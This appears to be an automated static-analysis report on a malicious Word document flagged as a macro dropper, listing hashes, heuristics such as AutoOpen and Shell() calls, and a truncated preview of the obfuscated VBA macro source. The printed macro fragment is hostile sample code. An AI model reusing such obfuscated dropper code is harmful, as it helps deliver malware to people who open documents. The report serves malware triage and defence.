Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d3c45160cd4a6006…

MALICIOUS

Office (OLE)

289.0 KB Created: 2018-02-28 14:49:00 Authoring application: Microsoft Office Word First seen: 2020-06-01
MD5: f250292429b8b37b9be3ee85801f933d SHA-1: 116304fcbcd984c763c2a79e789167be6ee2dbf6 SHA-256: d3c45160cd4a600600efa46297a580e2bbe1dd6b3d9a8a3821bad77c8e247448
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes the Shell() function, which is a critical heuristic firing, indicating an attempt to execute arbitrary commands. The presence of an AutoOpen macro and the ClamAV detection further support its malicious nature. The VBA macro is heavily obfuscated, but the Shell() call suggests it's designed to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6459183-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6459183-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 94238 bytes
SHA-256: 559055e74ef4b21d34b9bb597fc7e1c1aa9201268885bd0ec5ce6369cd58625b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 31 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "wdDAFczsfZSVz"
Sub ikBIHWYMQwK()
   On Error Resume Next
   While VzkQNXhshcMzh < lEwMCHm
      Set NZajREUjNEpKHw = OMvoFA
      YDarkU = 3065290 + Round(wCHZl) - 2159260 * Cos(8079823) / FcXzOHHWIn + Chr(iAHThvHBXIZTAT)
      ImDhMw = ipLhDrRvD / wYhCojaiiJS
   Wend
   Select Case fIXiEwVTa
      Case 5267799
         JSRHzrPkbFqXbl = UDcDhm
         MKCKZm = 3602025
      Case 5114345
         JVYYkXcbmOZ = PplvsziSrWtND
         HEoScR = Rnd(149569)
      Case 4184486
         CDMWzaARSMO = Atn(9425912)
         ROhpoIsmb = Fix(2202440 + 4142236 * 5850665 * XmUmIquI)
   End Select
   For sfbjrqFaAoI = 7375511 To Zlncsduarrsh
      OzjEX = 562848 - hWBOHRB
      Select Case AKjVdjNiwfw
         Case 3168052
            IAniznc = ChrW(twQFZG - CSng(jZVbc))
            ZjKWEUB = hYZmzYV
         Case 2649243
            IdZZHOQPDdJ = ChrB(ZKXoAjTdMvTbtL)
            rTZhhVtMz = 538206
      End Select
      SSuGArrOINCz = Sitn - 9748244
      For CkTNKzfvrZwd = cdfwZlNQBjFuck To 5935044
         JoVbs = (6014713 * 7207792 + znEHXbUKWv * Sin(ldPdMlY - CDbl(BOSiN) * 144092 * hkaCCzrFwljFt) / 5160171 * CLng(2773161 - CDate(YjVtauLJpUfkM)) / FrHftjjTsRt + 4620639 / (rfjiZmTu / sHRmZ - MiSHsSjp / Int(9667180 - Round(jiLEnEz) + 459467 / 5649112)))
      Next
   Next
End Sub
Function TRIDDPYNCn()
On Error Resume Next
Eiiuccii = "BzoIFJWVmMCZKuTrav%!!%3ravLRNzcmaTIzuYn"
HITcA = oBtSLjGH = (6144964 * 9483820 + AEUZjQwkQvKwH * Sin(EIGcickP - CDbl(HJzjJb) * 5355798 * OiZdhTNTaY) / 7635028 * CLng(994807 - CDate(iFmwGbAfB)) / KkwNQjhmJ + 7743216 / (vRhpXosI / DwKkd - MkDzb / Int(9235500 - Round(JPskGzm) + 8581122 / 7449541)))
ktspZj = QCinEIjmHW = (9416192 * 3488292 + aLkLUzj * Sin(MYiISw - CDbl(ivWLQStiuRIb) * 3771446 * UZQrBSY) / 4219746 * CLng(7218954 - CDate(vDUEdzim)) / wELAlBv + 6291813 / (puLVPwszSR / iNMJDQMz - EvmWQWIIZipG / Int(7272359 - Round(jqGZoXMihNUhjr) + 393560 / 9331391)))
jsAhwR = iuivbdfghnkjgyugjn(Eiiuccii, 14, 11)
aLHHilK = "wODpzwJqRJkq!%2raGTwOMBCTpnvMKEDLZtNt"
FDUVpvbu = ZmmCancz = (2401357 * 901495 + kDAnZJZzDQ * Sin(vAjUGzunSTqXw - CDbl(LRjzEPSGWMY) * 6632655 * fKYuNBhqmV) / 1209175 * CLng(6432348 - CDate(EYmHujEHOs)) / zzBYpdUvXUOdt + 4891215 / (VOpYvaRZKu / OSsdVRSf - OAJBJBLJKqvsiR / Int(2057742 - Round(RqzSfZriVPCCu) + 9903821 / 9531768)))
uNIdz = OcOVFoP = (8799575 * 2885466 + PUwbjA * Sin(nDbUMQoIiju - CDbl(IPKskiFCpldbDD) * 4549418 * XftiBU) / 1295311 * CLng(9244722 - CDate(qBMZMaIVu)) / sEbOwa + 9610886 / (BZARJsflzmLwn / OWudtd - LVFJzfEwRw / Int(1597243 - Round(cEWWY) + 8466317 / 3713064)))
VwcRzMVB = iuivbdfghnkjgyugjn(aLHHilK, 21, 5)
WLnKlzXD = "RnCCEJhK% tes&&sFXOonskjpJJwZWzjpmcWDw"
wicno = tdnWBPkJjJC = (9147015 * 2500840 + SIPCiOvkGhHZ * Sin(BJXQatEFQfa - CDbl(rbTlokLbXAWYEG) * 1661413 * IWFOchjALtcB) / 1590404 * CLng(6022952 - CDate(coHqm)) / wSzvwKAmzL + 3773074 / (TwuaMTKsSauH / Tswtjw - WIKEISdX / Int(6731981 - Round(LhIQoiH) + 459162 / 5538855)))
jKrNN = jtKXXpliRBsP = (2912365 * 680637 + KmpStpm * Sin(EOMzti - CDbl(rrGHjc) * 9782366 * hShwGhVwSFBi) / 9249729 * CLng(3397104 - CDate(jztkFIKqsAH)) / BIHTmL + 9872987 / (zMqjci / utrAOaHX - qssiXc / Int(7870496 - Round(wXUnLlPSwJkWJM) + 1641376 / 4507105)))
UNODCZfDXrc = iuivbdfghnkjgyugjn(WLnKlzXD, 23, 8)
qPWsKub = "EhjDzRiqjOGBwzzwXoTiZbOwchns"
LUQLANMB = SzilFEATOwz = (7153482 * 1659174 + qujvzp * Sin(KzsrrNDzvrsp - CDbl(uKjRopTwJDp) * 6869902 * CzXDqiXwIB) / 7332964 * CLng(8770559 - CDate(rzWSGEv)) / OfOPHHVoA + 8889553 / (HPKFZ / BOSnmJtXZzVaq - loDoRIojXBIHHi / Int(7286427 - Round(hswaFqdkcWUrhJ) + 7932 / 2719821)))
YICiPQtOE = zSTLWnQ = (735170 * 3438582 + QfiCLlaPdiPru * Sin(SLvnwBN - CDbl(uwJQS) * 7714849 * EfWnzMF) / 9566051 * CLng(3921203 - CDate(GHtWkv)) / XHsKsd + 1462422 / (
... (truncated)

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